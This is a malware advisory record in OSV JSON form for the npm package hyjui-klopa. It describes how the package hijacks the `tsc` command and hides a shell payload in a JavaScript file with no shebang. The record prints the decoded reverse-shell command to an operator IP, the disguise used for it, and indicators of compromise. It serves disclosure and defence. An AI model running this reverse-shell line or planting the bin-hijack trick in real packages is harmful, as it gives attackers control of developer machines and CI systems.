{"id":"MAL-2026-20606","summary":"Malicious code in hyjui-klopa (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (1dc7308ca9b59677cda2644cdac77b0a2ef7b73eb4120f60ea7a2009f6ca620d)\nhyjui-klopa is part of the Ghost Compiler campaign, a cluster of npm packages published by the account `jikaya497` (jikaya497@gmail.com) between October and November 2026. The weaponized packages in this campaign register themselves as `tsc`, the TypeScript compiler command, and hide their payload in a file that reads as a JavaScript comment but runs as a shell script.\n\nHow it executes: `package.json` maps `bin.tsc` to `./index.js`, so installing the package links `node_modules/.bin/tsc` to that file. Whichever package is installed last owns that link, so installing hyjui-klopa after `typescript` replaces the real compiler. `index.js` has no shebang line and is marked executable (mode 0755). When a build script, CI step, editor or pre-commit hook runs `tsc`, the kernel cannot execute the file directly and the shell falls back to interpreting it as a shell script. The command substitution inside what a reviewer reads as a JavaScript comment then runs.\n\nPayload: the comment is disguised as Sentry error-reporting settings (`sentry_server=194.163.166.19; protocol=tcp; team=dev; members_id=4445; default=sh`) and expands to `sh -i \u003e& /dev/tcp/194.163.166.19/4445 0\u003e&1`. This connects an interactive shell, running as the user who ran the build, to the operator's host, giving the operator full control of the developer machine or CI runner. The package also ships a two-line `.ls` script (`id\u003ea`) used as a capability probe elsewhere in the campaign.\n\nInfrastructure: 194.163.166.19 is the operator's command-and-control host. It also serves a self-hosted npm registry on port 4873 (`web.vitemaweed.fr`) that other packages from the same publisher pin their dependencies to, and the same reverse-shell command appears encrypted inside the publisher's package `juyip-parser-helper`.\n\nIndicators: `node_modules/.bin/tsc` resolving to any package other than `typescript`; outbound TCP connections to 194.163.166.19 on ports 4445 or 4873; a `bin`-exposed `.js` file with no shebang and mode 0755.\n\nAny machine that installed this package and then ran `tsc` should be treated as compromised: rotate all credentials reachable from that user or CI job and rebuild the host.\n\n## Source: ghsa-malware (fc9a5817ba2ffc67a30a6990c62ea06aa9f1a29d7eaf63e6cd8e7eae167a5d70)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","aliases":["GHSA-cvm9-wwgc-4g64"],"modified":"2026-11-27T15:30:20.997621744Z","published":"2026-11-25T15:43:57Z","database_specific":{"malicious-packages-origins":[{"import_time":"2026-11-25T16:15:54.281655440Z","modified_time":"2026-11-25T15:43:57Z","sha256":"1dc7308ca9b59677cda2644cdac77b0a2ef7b73eb4120f60ea7a2009f6ca620d","source":"amazon-inspector","versions":["1.0.0"],"id":"IN-MAL-2026-023119"},{"ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"fc9a5817ba2ffc67a30a6990c62ea06aa9f1a29d7eaf63e6cd8e7eae167a5d70","source":"ghsa-malware","id":"GHSA-cvm9-wwgc-4g64","import_time":"2026-11-27T15:18:04.115816119Z","modified_time":"2026-11-27T14:56:51Z"}]},"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/hyjui-klopa/v/1.0.0"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-cvm9-wwgc-4g64"}],"affected":[{"package":{"name":"hyjui-klopa","ecosystem":"npm","purl":"pkg:npm/hyjui-klopa"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["1.0.0"],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/hyjui-klopa/MAL-2026-20606.json","cwes":[{"description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code","cweId":"CWE-506"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"tlsh":"c2f0dc90489fe379e08003705f0d7aa16b08cdbc4238215a5da4094b324986e20982ed","path":"index.js","sha256":"f71532fa4b7108c80a53ca3899b2ec81ad670f843721d277f2e619fec00234ac"}],"package_integrity":[{"hashes":{"sha1":"ccf349665e8b3095705e66487b303dddaf6a0ec7","sha512_sri":"sha512-or2U+UbGYQCqii3AKn1V1QDGAp+xR0pNq/nf9/F5wGyekbh5lu4jmmontR+St+vqIRr8+XDBgCSgIIVa3s6jCw=="},"filename":"hyjui-klopa-1.0.0.tgz"}]}}}],"schema_version":"1.9.2","credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}